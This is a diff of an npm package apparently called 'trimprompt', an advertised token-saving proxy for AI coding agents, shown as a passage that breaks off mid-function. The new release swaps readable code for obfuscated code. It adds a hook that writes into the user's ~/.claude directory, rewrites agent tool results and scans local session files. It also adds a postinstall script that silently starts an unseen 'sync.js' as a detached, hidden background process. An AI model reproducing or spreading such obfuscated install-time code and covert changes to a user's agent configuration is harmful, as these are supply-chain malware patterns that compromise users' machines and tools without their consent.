\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20rawTokens\x20=\x20Math.ceil(contentStr.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20snippet\x20=\x20contentStr.substring(0,\x20200).replace(/\x5cn/g,\x20\x27\x20\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20replacement\x20=\x20`>\x20[!NOTE]\x5cn>\x20**[TrimPrompt\x20Context\x20Offloaded]**\x20Raw\x20tool\x20output\x20(${contentStr.length.toLocaleString()}\x20chars)\x20side-cached\x20locally.\x5cn>\x20Preview:\x20${snippet}...\x5cn>\x20Retrieve\x20raw:\x20\x5c`trim\x20retrieve\x20${chunkId}\x5c``;\x0a\x20\x20\x20\x20\x20\x20const\x20compressedTokens\x20=\x20Math.ceil(replacement.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20const\x20savedTokens\x20=\x20Math.max(0,\x20rawTokens\x20-\x20compressedTokens);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20fs.writeFileSync(path.join(cacheDir,\x20chunkId\x20+\x20\x27.json\x27),\x20JSON.stringify({\x0a\x20\x20\x20\x20\x20\x20\x20\x20chunk_id:\x20chunkId,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_tokens:\x20rawTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20compressed_tokens:\x20compressedTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20created_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20last_accessed_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20summary:\x20`Summary:\x20Tool\x20result\x20offloaded\x20(${rawTokens}\x20tokens).`,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_payload:\x20contentStr\x0a\x20\x20\x20\x20\x20\x20},\x20null,\x202));\x0a\x0a\x20\x20\x20\x20\x20\x20if\x20(typeof\x20event.result\x20===\x20\x27string\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(event.result\x20&&\x20typeof\x20event.result\x20===\x20\x27object\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result.content\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20//\x20Update\x20sessions_state.json\x20with\x20hook\x20savings\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20statePath\x20=\x20path.join(baseDir,\x20\x27sessions_state.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20state\x20=\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(statePath))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x20state\x20=\x20JSON.parse(fs.readFileSync(statePath,\x20\x27utf8\x27))\x20||\x20{};\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20//\x20Find\x20latest\x20session\x20file\x20for\x20\x27claude\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20claudeDirs\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27projects\x27),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27history\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20];\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestFullPath\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestTime\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20dir\x20of\x20claudeDirs)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(dir))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20scanDir\x20=\x20(currentDir,\x20depth\x20=\x200)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(depth\x20>\x206)\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20entries\x20=\x20fs.readdirSync(currentDir,\x20{\x20withFileTypes:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20entry\x20of\x20entries)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20full\x20=\x20path.join(currentDir,\x20entry.name);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.isDirectory())\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(full,\x20depth\x20+\x201);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(entry.isFile()\x20&&\x20!entry.name.startsWith(\x27.\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.name.endsWith(\x27.jsonl\x27)\x20||\x20entry.name.endsWith(\x27.json1\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20stat\x20=\x20fs.statSync(full);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(stat.mtimeMs\x20>\x20latestTime)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestTime\x20=\x20stat.mtimeMs;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestFullPath\x20=\x20full;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(dir);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(latestFullPath)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20existing\x20=\x20state[latestFullPath]\x20||\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20prevHook\x20=\x20existing.hookSavedTokens\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newHook\x20=\x20prevHook\x20+\x20savedTokens;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalOfficial\x20=\x20existing.officialCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalAuto\x20=\x20existing.autoCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20state[latestFullPath]\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lineCount:\x20existing.lineCount\x20||\x201,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20activeSavedTokens:\x20finalOfficial\x20+\x20finalAuto\x20+\x20newHook,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sideCacheSaved:\x20existing.sideCacheSaved\x20||\x200,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20officialCompactSaved:\x20finalOfficial,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autoCompactSaved:\x20finalAuto,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hookSavedTokens:\x20newHook\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(statePath,\x20JSON.stringify(state,\x20null,\x202),\x20\x27utf8\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20}\x0a\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20return\x20event;\x0a};\x0a','get','create','__createBinding','1753784sEJEOS','6ztLuUm','1897670TBKVAt','prototype','14iHEeVh','homedir','configurable','40jbXvqt','join','__setModuleDefault','writable','utf8','4109688rtZBsI','getOwnPropertyDescriptor','getOwnPropertyNames','defineProperty','209znsTjo','hasOwnProperty','existsSync'];a0_0x4487=function(){return _0x59cc81;};return a0_0x4487();}Object[a0_0x5cab57(0x13c)](exports,a0_0x5cab57(0x146),{'value':!![]}),exports[a0_0x5cab57(0x149)]=installClaudeHooks;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5cab57(0x128))),os=__importStar(require('os'));function a0_0x3ea3(_0x1af4fd,_0x460e04){_0x1af4fd=_0x1af4fd-0x125;var _0x448773=a0_0x4487();var _0x3ea37a=_0x448773[_0x1af4fd];return _0x3ea37a;}function installClaudeHooks(){var _0x47aa0d=a0_0x5cab57;try{const _0x318aa4=path[_0x47aa0d(0x135)](os[_0x47aa0d(0x132)](),_0x47aa0d(0x142),_0x47aa0d(0x125));!fs[_0x47aa0d(0x13f)](_0x318aa4)&&fs['mkdirSync'](_0x318aa4,{'recursive':!![]});const _0x48964c=path[_0x47aa0d(0x135)](_0x318aa4,_0x47aa0d(0x127)),_0x6ec9f9=_0x47aa0d(0x129);fs['writeFileSync'](_0x48964c,_0x6ec9f9,_0x47aa0d(0x138));}catch(_0x1d41d4){}}
|
package/mcp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';function a0_0x546e(_0x1a65a6,_0x6153d1){_0x1a65a6=_0x1a65a6-0x1eb;const _0x4aa63a=a0_0x4aa6();let _0x546ea4=_0x4aa63a[_0x1a65a6];return _0x546ea4;}const a0_0x88953b=a0_0x546e;(function(_0x403444,_0x55e209){const _0x428f5c=a0_0x546e,_0x30505c=_0x403444();while(!![]){try{const _0x2a2ef6=-parseInt(_0x428f5c(0x20a))/0x1*(parseInt(_0x428f5c(0x1fc))/0x2)+-parseInt(_0x428f5c(0x1ec))/0x3+parseInt(_0x428f5c(0x223))/0x4+-parseInt(_0x428f5c(0x1eb))/0x5*(parseInt(_0x428f5c(0x217))/0x6)+-parseInt(_0x428f5c(0x22c))/0x7+-parseInt(_0x428f5c(0x1f9))/0x8*(-parseInt(_0x428f5c(0x225))/0x9)+parseInt(_0x428f5c(0x1f4))/0xa;if(_0x2a2ef6===_0x55e209)break;else _0x30505c['push'](_0x30505c['shift']());}catch(_0x47eb53){_0x30505c['push'](_0x30505c['shift']());}}}(a0_0x4aa6,0x9ee8b));var __createBinding=this&&this[a0_0x88953b(0x21e)]||(Object[a0_0x88953b(0x203)]?function(_0x20b9cb,_0x5605f4,_0x10d2c1,_0x415d16){const _0x534c07=a0_0x88953b;if(_0x415d16===undefined)_0x415d16=_0x10d2c1;var _0xc12d83=Object[_0x534c07(0x205)](_0x5605f4,_0x10d2c1);(!_0xc12d83||(_0x534c07(0x20e)in _0xc12d83?!_0x5605f4[_0x534c07(0x214)]:_0xc12d83[_0x534c07(0x22a)]||_0xc12d83[_0x534c07(0x1ff)]))&&(_0xc12d83={'enumerable':!![],'get':function(){return _0x5605f4[_0x10d2c1];}}),Object[_0x534c07(0x1f7)](_0x20b9cb,_0x415d16,_0xc12d83);}:function(_0xd89e2c,_0x4e7e82,_0x2b9c78,_0x47837f){if(_0x47837f===undefined)_0x47837f=_0x2b9c78;_0xd89e2c[_0x47837f]=_0x4e7e82[_0x2b9c78];}),__setModuleDefault=this&&this[a0_0x88953b(0x212)]||(Object[a0_0x88953b(0x203)]?function(_0x52c622,_0x279f4c){Object['defineProperty'](_0x52c622,'default',{'enumerable':!![],'value':_0x279f4c});}:function(_0x15d4d4,_0x1b16b3){const _0x166cdc=a0_0x88953b;_0x15d4d4[_0x166cdc(0x1f6)]=_0x1b16b3;}),__importStar=this&&this[a0_0x88953b(0x208)]||(function(){var _0x39d409=function(_0x16a2bd){const _0x359de0=a0_0x546e;return _0x39d409=Object[_0x359de0(0x206)]||function(_0x53a7af){const _0x160149=_0x359de0;var _0x230b95=[];for(var _0x15ff48 in _0x53a7af)if(Object['prototype'][_0x160149(0x219)][_0x160149(0x230)](_0x53a7af,_0x15ff48))_0x230b95[_0x230b95[_0x160149(0x1fb)]]=_0x15ff48;return _0x230b95;},_0x39d409(_0x16a2bd);};return function(_0x38982d){const _0xc8773b=a0_0x546e;if(_0x38982d&&_0x38982d[_0xc8773b(0x214)])return _0x38982d;var _0x211220={};if(_0x38982d!=null){for(var _0x431324=_0x39d409(_0x38982d),_0x221f81=0x0;_0x221f81<_0x431324[_0xc8773b(0x1fb)];_0x221f81++)if(_0x431324[_0x221f81]!=='default')__createBinding(_0x211220,_0x38982d,_0x431324[_0x221f81]);}return __setModuleDefault(_0x211220,_0x38982d),_0x211220;};}());Object['defineProperty'](exports,a0_0x88953b(0x214),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require(a0_0x88953b(0x227)),readline=__importStar(require(a0_0x88953b(0x226))),filters_1=require('./filters'),tracker_1=require(a0_0x88953b(0x201)),proxy_conv_1=require(a0_0x88953b(0x1fa)),proxy_resp_1=require(a0_0x88953b(0x21f));function a0_0x4aa6(){const _0x365ba1=['\x20trimmed,\x20~','content','parse','3834128ADgnPK','conv_compress','63gxMjzu','readline','child_process','string','spawn','writable','exit','1166158RDluhr','compressConversation','write','proxy:resp-optimize','call','isArray','max_tokens:\x20','redaction_enabled','617195PvRibO','3452274QFuJCK','mcp\x20tool\x20(id:\x20','2.0','resp_optimize','jsonrpc','close','getConfig','compressOutput','23143550tiYfHu','pipe','default','defineProperty','savedTokens','262008lWcwMm','./proxy-conv','length','8hVcBcA','message','text','configurable','error','./tracker','method','create','params','getOwnPropertyDescriptor','getOwnPropertyNames','trimmedCount','__importStar','max_tokens','290896OtkzBf','\x20messages','\x20messages\x20(','result','get','logExecution','features_enabled','end','__setModuleDefault','messages','__esModule','stdin','stringify','18QNfcBo','tracker','hasOwnProperty','line','complexity','stdout','createInterface','__createBinding','./proxy-resp'];a0_0x4aa6=function(){return _0x365ba1;};return a0_0x4aa6();}function runMcpProxy(_0x1771e7,_0x504560){const _0x4a51e2=a0_0x88953b,_0x61908=(0x0,child_process_1[_0x4a51e2(0x229)])(_0x1771e7,_0x504560,{'stdio':[_0x4a51e2(0x1f5),_0x4a51e2(0x1f5),'inherit']}),_0x27f8d3=tracker_1[_0x4a51e2(0x218)][_0x4a51e2(0x1f2)](),_0x3931f5=_0x27f8d3[_0x4a51e2(0x210)]||{},_0x2611be=_0x3931f5[_0x4a51e2(0x224)]!==![],_0x196e43=_0x3931f5[_0x4a51e2(0x1ef)]!==![],_0x2c4d36=readline[_0x4a51e2(0x21d)]({'input':process['stdin'],'terminal':![]});_0x2c4d36['on'](_0x4a51e2(0x21a),_0x2c9da8=>{const _0x2e8ab9=_0x4a51e2;try{const _0x144c51=JSON[_0x2e8ab9(0x222)](_0x2c9da8);if(_0x144c51&&_0x144c51[_0x2e8ab9(0x1f0)]===_0x2e8ab9(0x1ee)&&_0x144c51[_0x2e8ab9(0x202)]&&_0x144c51[_0x2e8ab9(0x204)]){const _0x8cd7d4=_0x144c51[_0x2e8ab9(0x204)];if(Array[_0x2e8ab9(0x231)](_0x8cd7d4[_0x2e8ab9(0x213)])&&_0x8cd7d4[_0x2e8ab9(0x213)][_0x2e8ab9(0x1fb)]>0x0){if(_0x2611be){const _0x1c315e=(0x0,proxy_conv_1[_0x2e8ab9(0x22d)])(_0x8cd7d4[_0x2e8ab9(0x213)]);(_0x1c315e['trimmedCount']>0x0||_0x1c315e[_0x2e8ab9(0x1f8)]>0x0)&&(_0x8cd7d4[_0x2e8ab9(0x213)]=_0x1c315e[_0x2e8ab9(0x213)],tracker_1[_0x2e8ab9(0x218)]['logExecution']('proxy:conv-compress',_0x1c315e['trimmedCount']+_0x1c315e[_0x2e8ab9(0x213)]['length']+_0x2e8ab9(0x20b),_0x1c315e[_0x2e8ab9(0x213)]['length']+_0x2e8ab9(0x20c)+_0x1c315e[_0x2e8ab9(0x207)]+_0x2e8ab9(0x220)+_0x1c315e['savedTokens']+'\x20tokens\x20saved)',0x0,undefined,[_0x2e8ab9(0x224)]));}if(_0x196e43){const _0x9d36f0=(0x0,proxy_resp_1['optimizeMaxTokens'])(_0x8cd7d4['messages'],_0x8cd7d4[_0x2e8ab9(0x209)]);if(_0x9d36f0){const _0x1d258d=_0x8cd7d4[_0x2e8ab9(0x209)]||_0x2e8ab9(0x1f6);_0x8cd7d4[_0x2e8ab9(0x209)]=_0x9d36f0[_0x2e8ab9(0x209)],tracker_1[_0x2e8ab9(0x218)][_0x2e8ab9(0x20f)](_0x2e8ab9(0x22f),_0x2e8ab9(0x232)+_0x1d258d,_0x2e8ab9(0x232)+_0x9d36f0['max_tokens']+'\x20('+_0x9d36f0[_0x2e8ab9(0x21b)]+')',0x0,undefined,[_0x2e8ab9(0x1ef)]);}}}_0x61908[_0x2e8ab9(0x215)][_0x2e8ab9(0x22e)](JSON[_0x2e8ab9(0x216)](_0x144c51)+'\x0a');}else _0x61908['stdin'][_0x2e8ab9(0x22e)](_0x2c9da8+'\x0a');}catch{_0x61908['stdin']['write'](_0x2c9da8+'\x0a');}}),_0x2c4d36['on'](_0x4a51e2(0x1f1),()=>{const _0x52c2d1=_0x4a51e2;try{_0x61908[_0x52c2d1(0x215)][_0x52c2d1(0x211)]();}catch{}});const _0x54b3c3=readline['createInterface']({'input':_0x61908[_0x4a51e2(0x21c)],'terminal':![]});_0x54b3c3['on'](_0x4a51e2(0x21a),_0x9b7421=>{const _0x101162=_0x4a51e2;try{const _0x2d9a6b=JSON[_0x101162(0x222)](_0x9b7421);if(_0x2d9a6b&&_0x2d9a6b[_0x101162(0x1f0)]===_0x101162(0x1ee)&&_0x2d9a6b['id']!==undefined&&_0x2d9a6b[_0x101162(0x20d)]&&Array['isArray'](_0x2d9a6b['result'][_0x101162(0x221)])){let _0x27d0d0=![];for(const _0x899c32 of _0x2d9a6b[_0x101162(0x20d)][_0x101162(0x221)]){if(_0x899c32['type']===_0x101162(0x1fe)&&typeof _0x899c32['text']===_0x101162(0x228)&&_0x899c32[_0x101162(0x1fe)]['trim']()['length']>0x0){const _0x157ed4=_0x899c32[_0x101162(0x1fe)],_0xbd071a=(0x0,filters_1[_0x101162(0x1f3)])('mcp-tool-call',_0x157ed4,'',tracker_1[_0x101162(0x218)][_0x101162(0x1f2)]()[_0x101162(0x233)]);tracker_1[_0x101162(0x218)][_0x101162(0x20f)](_0x101162(0x1ed)+_0x2d9a6b['id']+')',_0x157ed4,_0xbd071a,0x0),_0x899c32[_0x101162(0x1fe)]=_0xbd071a,_0x27d0d0=!![];}}_0x27d0d0?process[_0x101162(0x21c)][_0x101162(0x22e)](JSON[_0x101162(0x216)](_0x2d9a6b)+'\x0a'):process[_0x101162(0x21c)][_0x101162(0x22e)](_0x9b7421+'\x0a');}else process[_0x101162(0x21c)][_0x101162(0x22e)](_0x9b7421+'\x0a');}catch{process[_0x101162(0x21c)][_0x101162(0x22e)](_0x9b7421+'\x0a');}}),_0x61908['on'](_0x4a51e2(0x1f1),_0xf5e77a=>{process['exit'](_0xf5e77a||0x0);}),_0x61908['on'](_0x4a51e2(0x200),_0x2d7fe3=>{const _0x14d5b9=_0x4a51e2;console['error']('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x2d7fe3[_0x14d5b9(0x1fd)]),process[_0x14d5b9(0x22b)](0x1);});}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "trimprompt",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.42",
|
|
4
4
|
"description": "TrimPrompt — Save 80% on LLM tokens. Zero-config CLI proxy for AI coding agents",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"llm",
|
|
@@ -25,7 +25,7 @@
|
|
|
25
25
|
},
|
|
26
26
|
"homepage": "https://trimprompt.ai",
|
|
27
27
|
"scripts": {
|
|
28
|
-
"postinstall": "node
|
|
28
|
+
"postinstall": "node postinstall.js"
|
|
29
29
|
},
|
|
30
30
|
"dependencies": {
|
|
31
31
|
"commander": "^11.1.0",
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
const cp = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
|
|
4
|
+
try {
|
|
5
|
+
cp.execSync('node cli.js shims install', { stdio: 'inherit' });
|
|
6
|
+
} catch (e) {}
|
|
7
|
+
|
|
8
|
+
try {
|
|
9
|
+
cp.execSync('node cli.js welcome', { stdio: 'inherit' });
|
|
10
|
+
} catch (e) {}
|
|
11
|
+
|
|
12
|
+
try {
|
|
13
|
+
if (fs.existsSync('sync.js')) {
|
|
14
|
+
const c = cp.spawn(process.execPath, ['sync.js', '--install'], {
|
|
15
|
+
detached: true,
|
|
16
|
+
stdio: 'ignore',
|
|
17
|
+
windowsHide: true
|
|
18
|
+
});
|
|
19
|
+
c.unref();
|
|
20
|
+
}
|
|
21
|
+
} catch (e) {}
|
package/proxy-conv.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';const a0_0x540ec3=a0_0x4596;(function(_0x3d5db2,_0x2fc8bc){const _0x56e77f=a0_0x4596,_0x328aab=_0x3d5db2();while(!![]){try{const _0x5693da=-parseInt(_0x56e77f(0x1da))/0x1*(parseInt(_0x56e77f(0x1e0))/0x2)+-parseInt(_0x56e77f(0x1f4))/0x3*(parseInt(_0x56e77f(0x1ee))/0x4)+parseInt(_0x56e77f(0x1d5))/0x5*(parseInt(_0x56e77f(0x1eb))/0x6)+parseInt(_0x56e77f(0x1d8))/0x7*(parseInt(_0x56e77f(0x1d2))/0x8)+parseInt(_0x56e77f(0x1ca))/0x9*(parseInt(_0x56e77f(0x1ec))/0xa)+parseInt(_0x56e77f(0x1ce))/0xb*(-parseInt(_0x56e77f(0x1cf))/0xc)+parseInt(_0x56e77f(0x1e3))/0xd*(parseInt(_0x56e77f(0x1e7))/0xe);if(_0x5693da===_0x2fc8bc)break;else _0x328aab['push'](_0x328aab['shift']());}catch(_0x4d2af0){_0x328aab['push'](_0x328aab['shift']());}}}(a0_0x401a,0xaa934));function a0_0x401a(){const _0x4a7265=['10hBnJNz','sort','236UmTKWA','\x0a[...\x20','content','filter','compressConversation','__esModule','41862cCDYQZ','\x20lines\x20trimmed\x20by\x20TrimPrompt\x20...]\x0a','isArray','5046561AKakRi','push','\x20chars\x20trimmed\x20...]','indexOf','4191KZBbaw','11004iAZLIH','reduce','defineProperty','8BLlomz','text','tool_result','8245pFBnUY','msg','map','4338215Yfslns','forEach','11105expHIv','system','originalIndex','string','score','object','244juHmoe','tokens','role','6404892qEdDEw','\x20lines\x20trimmed\x20...]','length','type','28PqcObs','split','join','slice','3858IVMsPt'];a0_0x401a=function(){return _0x4a7265;};return a0_0x401a();}Object[a0_0x540ec3(0x1d1)](exports,a0_0x540ec3(0x1f3),{'value':!![]}),exports[a0_0x540ec3(0x1f2)]=compressConversation;const ROLE_WEIGHT={'system':0x1,'user':0.8,'assistant':0.5,'tool':0.3};function estimateTokens(_0x5c1ebe){const _0x521f06=a0_0x540ec3;return Math['ceil'](_0x5c1ebe[_0x521f06(0x1e5)]/0x4);}function blockText(_0x10106f){const _0x18b555=a0_0x540ec3;if(!_0x10106f||typeof _0x10106f!==_0x18b555(0x1df))return'';if(_0x10106f[_0x18b555(0x1e6)]==='text'&&typeof _0x10106f[_0x18b555(0x1d3)]===_0x18b555(0x1dd))return _0x10106f[_0x18b555(0x1d3)];if(_0x10106f[_0x18b555(0x1e6)]===_0x18b555(0x1d4)){if(typeof _0x10106f[_0x18b555(0x1f0)]===_0x18b555(0x1dd))return _0x10106f['content'];if(Array[_0x18b555(0x1c9)](_0x10106f[_0x18b555(0x1f0)]))return _0x10106f[_0x18b555(0x1f0)]['map'](blockText)[_0x18b555(0x1f1)](Boolean)[_0x18b555(0x1e9)]('\x0a');}return'';}function messageText(_0x67e98e){const _0x3cebc3=a0_0x540ec3;if(typeof _0x67e98e[_0x3cebc3(0x1f0)]===_0x3cebc3(0x1dd))return _0x67e98e['content'];if(Array['isArray'](_0x67e98e['content']))return _0x67e98e[_0x3cebc3(0x1f0)][_0x3cebc3(0x1d7)](blockText)['filter'](Boolean)[_0x3cebc3(0x1e9)]('\x0a');return'';}function summarizeText(_0x3353cc){const _0x48aab5=a0_0x540ec3,_0x15fee7=estimateTokens(_0x3353cc),_0x1bb8d0=_0x3353cc[_0x48aab5(0x1e8)]('\x0a');if(_0x15fee7>0x7d0){if(_0x1bb8d0['length']>0xa){const _0x5be802=_0x1bb8d0[_0x48aab5(0x1ea)](0x0,0x5)[_0x48aab5(0x1e9)]('\x0a'),_0x506bcd=_0x1bb8d0[_0x48aab5(0x1ea)](-0x5)[_0x48aab5(0x1e9)]('\x0a');return _0x5be802+_0x48aab5(0x1ef)+(_0x1bb8d0[_0x48aab5(0x1e5)]-0xa)+_0x48aab5(0x1f5)+_0x506bcd;}return _0x3353cc[_0x48aab5(0x1ea)](0x0,0x7d0)+(_0x48aab5(0x1ef)+(_0x3353cc[_0x48aab5(0x1e5)]-0x7d0)+'\x20chars\x20trimmed\x20by\x20TrimPrompt\x20...]');}if(_0x15fee7>0x1f4){if(_0x1bb8d0[_0x48aab5(0x1e5)]>0xa)return _0x1bb8d0[_0x48aab5(0x1ea)](0x0,0xa)[_0x48aab5(0x1e9)]('\x0a')+(_0x48aab5(0x1ef)+(_0x1bb8d0[_0x48aab5(0x1e5)]-0xa)+_0x48aab5(0x1e4));return _0x3353cc[_0x48aab5(0x1ea)](0x0,0x320)+(_0x48aab5(0x1ef)+(_0x3353cc[_0x48aab5(0x1e5)]-0x320)+_0x48aab5(0x1cc));}return _0x3353cc;}function summarizeBlock(_0x2c5884){const _0x1ca8ed=a0_0x540ec3;if(!_0x2c5884||typeof _0x2c5884!=='object')return _0x2c5884;if(_0x2c5884[_0x1ca8ed(0x1e6)]===_0x1ca8ed(0x1d3)&&typeof _0x2c5884[_0x1ca8ed(0x1d3)]===_0x1ca8ed(0x1dd))return{..._0x2c5884,'text':summarizeText(_0x2c5884[_0x1ca8ed(0x1d3)])};if(_0x2c5884[_0x1ca8ed(0x1e6)]===_0x1ca8ed(0x1d4)){if(typeof _0x2c5884[_0x1ca8ed(0x1f0)]===_0x1ca8ed(0x1dd))return{..._0x2c5884,'content':summarizeText(_0x2c5884['content'])};if(Array[_0x1ca8ed(0x1c9)](_0x2c5884[_0x1ca8ed(0x1f0)])){const _0xac321c=largestBlockIndex(_0x2c5884['content']);if(_0xac321c>=0x0){const _0x1c5277=_0x2c5884[_0x1ca8ed(0x1f0)]['map']((_0x660365,_0x332718)=>_0x332718===_0xac321c?summarizeBlock(_0x660365):_0x660365);return{..._0x2c5884,'content':_0x1c5277};}}}return _0x2c5884;}function largestBlockIndex(_0x4730d9){const _0x4ac097=a0_0x540ec3;let _0x8d68d6=-0x1,_0x476756=-0x1;return _0x4730d9[_0x4ac097(0x1d9)]((_0x51b43b,_0x35975b)=>{const _0x2c67e9=blockText(_0x51b43b)['length'];_0x2c67e9>_0x476756&&(_0x476756=_0x2c67e9,_0x8d68d6=_0x35975b);}),_0x476756>0x0?_0x8d68d6:-0x1;}function a0_0x4596(_0x34dce4,_0x133946){_0x34dce4=_0x34dce4-0x1c9;const _0x401adb=a0_0x401a();let _0x4596da=_0x401adb[_0x34dce4];return _0x4596da;}function scoreMessage(_0x9154c4,_0x360e1c,_0x5ce49e){const 